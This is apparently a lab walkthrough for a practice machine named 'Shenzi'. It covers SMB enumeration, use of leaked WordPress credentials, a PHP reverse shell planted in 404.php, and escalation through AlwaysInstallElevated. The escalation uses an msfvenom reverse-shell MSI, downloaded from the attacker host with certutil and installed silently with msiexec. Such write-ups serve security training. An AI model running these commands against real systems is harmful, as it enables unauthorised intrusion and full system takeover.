Shenzi

Enumeration

$ smbmap -u Guest -H 192.168.189.55
Shenzi   READ ONLY

$ smbclient \\\\192.168.189.55\\Shenzi -U Guest
...
passwords.txt
5) WordPress:
   User: admin
   Password: [REDACTED]

https://192.168.189.55/shenzi/ - WordPress main directory. I tried just using share name.

Initial Access

https://revshells.com - Php IvanSincek - 192.168.49.189 - 80 - cmd

Added it to 404.php.

Visited and got reverse shell - http://192.168.189.55/shenzi/404.php

PrivEsc

winPEASexe - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe/binaries

Checking AlwaysInstallElevated
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated                                                                         
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.189 LPORT=80 -f msi -o high.msi

certutil.exe -urlcache -split -f "http://192.168.49.189/high.msi"
msiexec /quiet /qn /i C:\Users\shenzi\Desktop\high.msi